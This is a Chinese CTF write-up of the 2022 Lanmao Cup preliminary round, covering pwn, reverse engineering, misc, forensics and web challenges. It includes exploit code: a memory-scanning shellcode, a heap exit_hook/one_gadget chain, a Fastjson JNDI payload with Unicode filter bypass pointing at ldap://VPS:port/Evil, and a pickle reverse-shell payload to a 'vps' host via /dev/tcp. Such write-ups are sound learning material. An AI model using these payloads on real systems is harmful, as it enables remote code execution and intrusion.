2022蓝帽杯初赛WriteUp
字数 2088 2025-08-06 20:12:33
2022蓝帽杯初赛WriteUp 详细教学文档
0x01 Pwn部分
1.1 EscapeShellcode
技术要点
- 无栈shellcode编写技术
- RIP寻址定位内存范围
- 内存段遍历技术
- 系统调用(syscall)使用
解题思路
- 通过RIP寄存器确定内存范围
- 遍历可读内存段寻找flag位置
- 使用系统调用输出flag
关键代码分析
shellcode = """
mov edi, 1 # 标准输出文件描述符
lea rsi, [rip-0x300000] # 通过RIP相对寻址
and rsi, 0xfffffffff0000000 # 内存页对齐
mov edx, 0x30 # 读取长度
L1:
add rsi, 0x1000 # 每次增加一页(4KB)
mov eax, 1 # sys_write系统调用号
syscall
test eax, eax # 测试返回值
jng L1 # 失败则继续尝试
"""
# 使用pwntools发送shellcode
se(asm(shellcode))
注意事项
- 需要处理内存页对齐
- 系统调用后需要检查返回值
- 使用pwntools的asm函数编译shellcode
1.2 Bank
技术要点
- 堆布局技术
- 任意地址读写利用
- exit_hook利用
- one_gadget使用
解题步骤
- 堆布局泄露堆地址和libc地址
- 利用任意free功能释放特定堆块
- 重新分配堆块并写入exit_hook地址
- 写入one_gadget触发getshell
关键代码分析
# 堆布局
realloc(0xc8)
malloc(p64(0)+p32(0x491)) # 伪造堆块
# 泄露堆地址
read_addr(39+4)
heap_leak = int(ru(' is useful.'),16)
heap_base = heap_leak - 0x10
# 泄露libc地址
read_addr(32)
libc_leak = int(ru(' is useful.'),16)
libc_base = libc_leak - 0x1ebbe0
# 任意写利用
free(heap_base+0x2a0)
malloc(p64(libc_base+0x1ed608)) # 写入exit_hook地址
write(libc_base+0xe6c7e) # 写入one_gadget
注意事项
- 需要精确计算堆偏移
- 注意libc版本差异
- 确保写入位置可写
0x02 RE部分
2.1 loader
技术要点
- 动态代码解密分析
- 大整数运算
- PELL方程求解
解题步骤
- 分析代码重定位过程
- 识别flag检查逻辑
- 发现flag格式要求:42位(flag{36位})
- 将36位分成两组18位数字
- 分析数学约束条件:
- x^2 - 11*y^2 = 9
- 72057594037927936 < x < 1152921504606846976
PELL方程求解
def solve_pell(N, c, begin, most=10000):
cf = continued_fraction(sqrt(N))
for i in range(begin,most):
denom = cf.denominator(i)
numer = cf.numerator(i)
if numer^2 - N * denom^2 == 1:
x = numer*x1 + N*y1*denom
y = x1*denom + y1*numer
if x>72057594037927936 and x<1152921504606846976:
if x^2 - N*y^2 == c:
print(x,y)
最终flag
flag{118936021352508390035860559716724409}
0x03 MISC部分
3.1 domainhacker
技术要点
- 网络流量分析
- RAR密码提取
- 哈希识别
解题步骤
- 分析TCP流(tcp.stream eq 13)
- 发现RAR压缩命令:
cd /d "c:\\Windows\\Temp"&rar.exe a -PSecretsPassw0rds 1.rar 1.txt - 从流量中提取RAR文件
- 解压获取哈希值:
- NTLM: 416f89c3a5deb1d398a1a1fce93862a7
- SHA1: 54896b6f5e60e9be2b46332b13d0e0f110d6518f
0x04 取证部分
4.1-4.3 网站取证
技术要点
- D盾扫描使用
- 配置文件分析
- AES解密
- 盐值识别
关键发现
- 数据库密码加密位置
- my_encrypt()函数分析
- 发现加密盐值: 'jyzg123456'
4.4-4.7 计算机取证
技术要点
- PasswareKitForensic使用
- Volatility内存分析
- BitLocker恢复
- Office文档爆破
关键步骤
- 扫描Windows用户密码: anxinqi
- 识别RAMCapture进程PID: 2192
- 获取BitLocker恢复密钥: 368346-029557-428142-651420-492261-552431-515438-338239
- Office文档爆破密码: 287fuweiuhfiute
4.8-4.9 手机取证
技术要点
- 盘古石取证工具使用
- 文件元数据分析
- 关键词搜索
关键发现
- 图片分辨率: 360x360
- 通过"姜总/单号"关键词搜索
4.10-4.12 程序分析
技术要点
- APK逆向分析
- 入口点识别
- Base64解码
关键发现
- 包名: exec.azj.kny.d.c
- 入口Activity: minmtta.hemjcbm.ahibyws.MainActivity
- 服务器地址Base64: aHR0cHM6Ly9hbnNqay5lY3hlaW8ueHl6
0x05 Web部分
5.1 Ez_gadget
技术要点
- Fastjson反序列化
- hashCode碰撞
- Unicode绕过
- JNDI注入
解题步骤
- 构造hashCode相同但值不同的字符串
chr(ord(key[0]) - 1) + chr(ord(key[1]) + 31) + key[2::] - 绕过关键词过滤(rmi/jndi/ldap)使用Unicode编码
- 构造Fastjson 1.2.62的利用payload:
{ "@type":"org.apache.xbean.propertyeditor.\u004a\u006e\u0064\u0069Converter", "AsText":"%0aldap://VPS:port/Evil" } - 使用JNDIExploit工具反弹shell
5.2 file_session
技术要点
- Flask session伪造
- 内存取证
- UUID提取
- pickle反序列化
解题步骤
- 通过/proc/self/maps和/proc/self/mem读取内存
- 正则匹配提取UUID作为SECRET_KEY候选
- 构造恶意pickle序列化数据反弹shell
- 使用flask_session_cookie_manager伪造session
- 逐个尝试候选KEY直到成功反弹shell
关键代码
class test(object):
def __reduce__(self):
return (__import__('os').system, ("bash -c 'exec bash -i &>/dev/tcp/vps/4444 <&1'",))
总结
本WriteUp涵盖了2022蓝帽杯初赛的多个技术方向,包括Pwn、RE、MISC、取证和Web。每个题目都涉及特定的技术点和解题思路,通过详细的分析和步骤说明,为安全研究人员提供了宝贵的学习资料。特别值得注意的是其中的高级利用技术如无栈shellcode、PELL方程求解、Fastjson反序列化等,都是CTF比赛和实际渗透测试中的实用技能。